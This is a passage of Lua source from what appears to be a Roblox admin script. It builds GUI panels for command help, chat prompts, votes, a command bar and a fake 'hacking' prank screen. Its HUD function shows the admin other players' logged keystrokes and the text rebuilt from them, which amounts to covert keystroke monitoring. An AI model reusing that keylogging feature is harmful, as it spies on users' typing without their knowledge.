4584 Form.Dragger.Position = DefPos
4585 CanClick = true
4586 end)()
4587 end
4588 end)
4589 ReloadIcons()
4590
4591 Closed.Event:connect(function()
4592 for Num,Data in pairs(Tasks) do
4593 if Data[1] == Form then
4594 Icon:Destroy()
4595 table.remove(Tasks, Num)
4596 end
4597 end
4598 ReloadIcons()
4599 end)
4600 end)
4601end
4602
4603function GUI:ShowDebtStats(Player, ManualText)
4604 local Text = ManualText
4605 if not ManualText then
4606 Text = "CANNOT GET STATISTICS"
4607 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4608 if RawPage then
4609 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4610 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4611 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4612 end
4613 end
4614
4615 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4616 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4617
4618 return Text
4619end
4620
4621function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4622 if not Player then return nil end
4623 if not CommandTrigger then return nil end
4624
4625 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4626
4627 local CommandKey = CommandTrigger
4628
4629 if not Commands[CommandKey] then
4630 for CommandNames,_ in pairs(Commands) do
4631 for _,CommandName in pairs(CommandNames) do
4632 if CommandName == CommandKey then
4633 CommandKey = CommandNames
4634 end
4635 end
4636 end
4637 end
4638
4639 local CommandData = Commands[CommandKey]
4640
4641 local BodyText = "No valid command has been entered"
4642 local TitleText = "Error"
4643 local CanExe = false
4644 if CommandData then
4645 if Dialog then
4646 Dialog:Invoke(true)
4647 end
4648 local PlayerRank = RANK:GetRank(Player)
4649 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4650 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4651
4652 TitleText = "Command: "..CommandKey[1]
4653 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4654
4655
4656Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4657
4658
4659Description: ]]..CommandData[2]..[[
4660
4661
4662Arguments: ]]..CommandData[3]..[[
4663
4664
4665Minimum rank needed: ]]..CommandData[4]..[[
4666
4667
4668Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4669
4670
4671Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4672
4673
4674Http Command ]]..STRING:BoolString(CommandData.Http)
4675 end
4676
4677 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4678 if Dialog then
4679 Closed.Event:connect(function() Dialog:Invoke(false) end)
4680 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4681 end
4682end
4683
4684function GUI:CreateHUD(Speaker)
4685 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4686
4687 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4688 if SG then SG:Destroy() end
4689 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4690
4691 local function AddHUD(Player, Char)
4692 if not Char or not Char:FindFirstChild("Head") then return nil end
4693
4694 local Rank = RANK:GetRank(Player)
4695 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4696 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4697 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4698 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4699 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4700 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4701 InfoLabel.Text = "Name: "..Player.Name..[[
4702Rank: ]]..RANK:GetRank(Player)..[[
4703Age: ]]..STRING:FindAge(Player.AccountAge)
4704 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4705 InfoLabel.Text = InfoLabel.Text..[[
4706Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4707 end
4708 if LastKeys[Player.UserId] then
4709 local Keys = ""
4710 local KeyLog = {}
4711 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4712 table.insert(KeyLog, KeyData[1])
4713 if KeyData[2] == 8 then
4714 Keys = string.sub(Keys, 1, #Keys - 1)
4715 elseif KeyData[2] == 13 then
4716 Keys = Keys.." "
4717 else
4718 Keys = Keys..string.char(KeyData[2])
4719 end
4720 end
4721 KeyLabel.Text = table.concat(KeyLog, "\n")
4722 KeyOutput.Text = Keys
4723 end
4724 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4725 end end)()
4726
4727 local CharRev,Removing = nil,nil
4728 CharRev = Player.CharacterRemoving:connect(function()
4729 PlayerHUD:Destroy()
4730 CharRev:disconnect()
4731 Removing:disconnect()
4732 end)
4733 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4734 PlayerHUD:Destroy()
4735 CharRev:disconnect()
4736 Removing:disconnect()
4737 end end)
4738 end
4739
4740 local function ConnectHUD(Player)
4741 if Player ~= Speaker then
4742 if Player.Character then
4743 AddHUD(Player, Player.Character)
4744 end
4745
4746 Player.CharacterAdded:connect(function(Char)
4747 if Speaker then
4748 AddHUD(Player, Char)
4749 else return nil
4750 end
4751 end)
4752 end
4753 end
4754
4755 for _,Player in pairs(Server.Players:GetPlayers()) do
4756 ConnectHUD(Player)
4757 end
4758
4759 Server.Players.PlayerAdded:connect(ConnectHUD)
4760end
4761
4762function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4763 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4764 local Stopped = false
4765
4766 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4767 Frame.Size = UDim2.new(1, 0, 1, -30)
4768 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4769
4770 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4771 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4772 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4773
4774 local function AddLine(Speaker, MessageText, MessageColor)
4775 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4776 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4777 if not MessageColor then MessageColor = GUI:ContrastColor() end
4778 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4779 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4780 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4781 Bounds.Parent = Frame
4782 end
4783
4784 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4785
4786 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4787 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4788 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4789
4790 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4791 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4792
4793 CORE:ExecuteResource("MessagePromptHandler", Frame)
4794
4795 wait(0.1)
4796
4797 if PreAdd then
4798 for Num,Add in pairs(PreAdd) do
4799 AddLine(Add[1], Add[2], Add[3])
4800 end
4801 end
4802
4803 --[[
4804 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4805
4806 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4807 if ChatBox.Text == "Click here or press the '-' key" then
4808 ChatBox.Text = ""
4809 end
4810 end)
4811 ]]
4812
4813 local function FireSendPressed()
4814 local Text = CORE:ReadProperty(RPR, Player, "Text")
4815 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4816 SendPressed:Fire(Text)
4817 FakeCB.Visible = true
4818 ClearCB:InvokeClient(Player)
4819 end
4820 end
4821
4822 Closed.Event:connect(function()
4823 if Stopped == false then
4824 Stopped = true
4825 if SpeakerEvents then SpeakerEvents("Leave") end
4826 end
4827 end)
4828
4829 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4830 EnterPressed.OnServerInvoke = FireSendPressed
4831 AddMessage.OnInvoke = AddLine
4832
4833 if SpeakerEvents then
4834 SpeakerEvents("Join")
4835
4836 coroutine.wrap(function()
4837 repeat wait() until not Frame or not Frame.Parent
4838 if Stopped == false then
4839 Stopped = true
4840 SpeakerEvents("Leave")
4841 end
4842 end)()
4843 end
4844
4845 return SendPressed, AddMessage
4846end
4847
4848function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4849 if tonumber(Time) then ShowFormButtons = false end
4850 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4851 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4852 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4853 local Clicked = nil
4854 local Alive = true
4855
4856 local function ClosePrompt(ButtonName)
4857 Alive = false
4858 Close:Invoke()
4859 Clicked = ButtonName
4860 end
4861
4862 for Num,Select in pairs(Buttons) do
4863 local Name = Select
4864 local Style = "White"
4865 local TextColor3 = Color3.new(0,0,0)
4866 if type(Select) == "table" then
4867 Name = Select[1]
4868 if Select[2] then Style = Select[2] end
4869 if Select[3] then TextColor3 = Select[3] end
4870 elseif type(Select) == "string" then
4871 local Case = string.lower(Select)
4872 if Case == "ok" then
4873 Name = "Ok"
4874 Style = "Primary"
4875 TextColor3 = Color3.new(1,1,1)
4876 elseif Case == "yes" then
4877 Name = "Yes"
4878 Style = "Gray"
4879 TextColor3 = Color3.new(0,1,0)
4880 elseif Case == "no" then
4881 Name = "No"
4882 Style = "Red"
4883 TextColor3 = Color3.new(1,0,0)
4884 end
4885 end
4886
4887 if Style == "None" then Style = "Custom" end
4888 if Style == "Casual" then Style = "RobloxButton" end
4889 if Style == "Red" then Style = "RobloxButtonDefault" end
4890 if Style == "Gray" then Style = "RobloxRoundButton" end
4891 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4892 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4893
4894 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4895 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4896 SOUND:BindButton(Button)
4897 end
4898
4899 if tonumber(Time) then
4900 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4901 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4902 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4903
4904 for i = Time,0,-1 do
4905 for ii = 1,10 do
4906 if Alive == true then
4907 Ticker.Text = i
4908 wait(0.1)
4909 else
4910 break
4911 end
4912 end
4913 end
4914 if Alive == true then
4915 ClosePrompt()
4916 end
4917 end
4918
4919 repeat wait() until Alive == false
4920 return Clicked
4921end
4922
4923function GUI:Vote(Speaker, Players, Text, Time)
4924 if not Players or not Text or #Players <= 0 then return end
4925
4926 local Votes = {}
4927 local Tick = 0
4928
4929 for _,Player in pairs(Players) do
4930 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4931 local CanVote = true
4932 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4933 if CanVote == true then
4934 coroutine.wrap(function()
4935 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4936 if Answer == nil then Answer = "Unknown" end
4937 table.insert(Votes, Answer)
4938 end)()
4939 end
4940 end
4941 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4942 wait(2)
4943 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4944 local Total = #Players
4945 local Yes,No,Unknown = 0,0,0
4946 for _,Vote in pairs(Votes) do
4947 if Vote == "Yes" then Yes = Yes + 1
4948 elseif Vote == "No" then No = No + 1
4949 end
4950 end
4951 Unknown = #Players - #Votes
4952
4953 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4954 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4955 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4956]]..Yes.."/"..Total..[[
4957]]..math.ceil((Yes/Total)*100).."% "
4958 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4959]]..No.."/"..Total..[[
4960]]..math.ceil((No/Total)*100).."% "
4961 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4962]]..Unknown.."/"..Total..[[
4963]]..math.ceil((Unknown/Total)*100).."% "
4964 end
4965end
4966
4967--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4968
4969function GUI:LoadGui(Player, Text, InfoText)
4970 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4971 local Dead = false
4972
4973 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4974 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4975 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4976 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4977 if InfoText then Info.Text = InfoText end
4978
4979 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4980 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4981
4982 CloseGui.OnInvoke = function()
4983 Close:Invoke()
4984 Dead = true
4985 end
4986 AddInfo.OnInvoke = function(AddText)
4987 Info.Text = AddText
4988 end
4989
4990 coroutine.wrap(function()
4991 for i = 0,math.huge,3 do
4992 if Dead == false and Frame then
4993 WaitIcon.Rotation = i
4994 wait()
4995 else
4996 break
4997 end
4998 end
4999 end)()
5000
5001 coroutine.wrap(function()
5002 while Dead == false and Frame do
5003 wait(0.5)
5004 LoadLabel.Text = Text.."."
5005 wait(0.5)
5006 LoadLabel.Text = Text..".."
5007 wait(0.5)
5008 LoadLabel.Text = Text.."..."
5009 wait(0.5)
5010 LoadLabel.Text = Text..".."
5011 wait(0.5)
5012 LoadLabel.Text = Text.."."
5013 wait(0.5)
5014 LoadLabel.Text = Text
5015 end
5016 end)()
5017
5018 wait(1)
5019
5020 return CloseGui, AddInfo
5021end
5022
5023function GUI:FakeHack(Player) coroutine.wrap(function()
5024 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5025 local FakeText = [[
5026>SHELL: BEGIN
5027>RUNCODE:
5028return {
5029 local Hack = {"Account", "Tix", "Robux"};
5030 function Start(Type, Inject, Scan)
5031 if not Inject then Inject = "In-Game" end
5032 return {Type, Inject, Scan}
5033 end
5034 for Exe,Exploit in pairs(Hack) do
5035 local IP = Start("In-Game",Exploit,
5036 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5037 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5038 )
5039 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5040 for i = 1,#Injection[2] do
5041 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5042 end
5043 local PlayerProxy = newproxy(true)
5044 setmetatable(PlayerProxy,Injection[3],{
5045 __index = function(StealData, ...) local Data = unpack(...)
5046 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5047 end;
5048 })
5049 end
5050 Log("HACKED HOST: PLAYERNAME")
5051}
5052>HACKED HOST: PLAYERNAME
5053
5054]]
5055 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5056 if SG then SG:Destroy() end
5057 SG = Instance.new("ScreenGui", Player.PlayerGui)
5058 SG.Name = "MML Hack Gui"
5059 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5060 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5061 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5062 for i = 1,#FakeText do
5063 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5064 if math.random(1,5) == 1 then
5065 wait()
5066 end
5067 end
5068 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5069 wait(3)
5070 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5071fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5072 X.Visible = true
5073end)() end
5074
5075function GUI:CommandBar(Player)
5076 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5077
5078 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5079 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5080 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5081 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5082
5083 local _,Rank = RANK:GetRank(Player)
5084 local UsableCommands = {}
5085 for CommandNames,Data in pairs(Commands) do
5086 if not Data.Hidden then
5087 if RANK:ConvertRank(Data[4]) <= Rank then
5088 for _,Command in pairs(CommandNames) do
5089 table.insert(UsableCommands, {Command, Data[3]})
5090 end
5091 end
5092 end
5093 end
5094
5095 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5096
5097 local function ExecuteText()
5098 local Text = CORE:ReadProperty(RPR, Player, "Text")
5099 CORE:Chatted(Text, Player, true)
5100 CommandBox.Text = "Enter a command here"
5101 end
5102
5103 local function AddSuggestion(Text)
5104 if Text == nil then Text = Settings.Prefix end
5105 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5106 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5107 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5108 if Text == Settings.Prefix then
5109 CommandBox.Text = Settings.Prefix
5110 else
5111 CommandBox.Text = Settings.Prefix..Text
5112 end
5113 CORE:ExecuteResource("Focus", CommandBox)
5114 end, true)
5115 end
5116
5117 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5118 if CommandBox.Text == "Enter a command here" then
5119 CommandBox.Text = ""
5120 end
5121 end)
5122
5123 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5124 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5125
5126 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5127 EnterPressed.OnServerInvoke = ExecuteText
5128
5129 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5130 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5131 Suggest:ClearAllChildren()
5132 local Text = CORE:ReadProperty(RPR, Player, "Text")
5133 if Text == "" then
5134 AddSuggestion(Settings.Prefix)
5135 end
5136
5137 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5138 Text = string.sub(Text,#Settings.Prefix+1)
5139 end
5140 for _,Data in pairs(UsableCommands) do
5141 local Command,Args = Data[1],Data[2]
5142 if string.find(string.lower(Command),string.lower(Text)) then
5143 local NewSuggestion = Command
5144 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5145 AddSuggestion(NewSuggestion)
5146 end
5147 end
5148
5149 end end)
5150end
5151
5152function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5153 if not Player or not AllSeconds then return nil end
5154 AllSeconds = tonumber(AllSeconds)
5155 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5156 AllSeconds = math.floor(AllSeconds)
5157 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
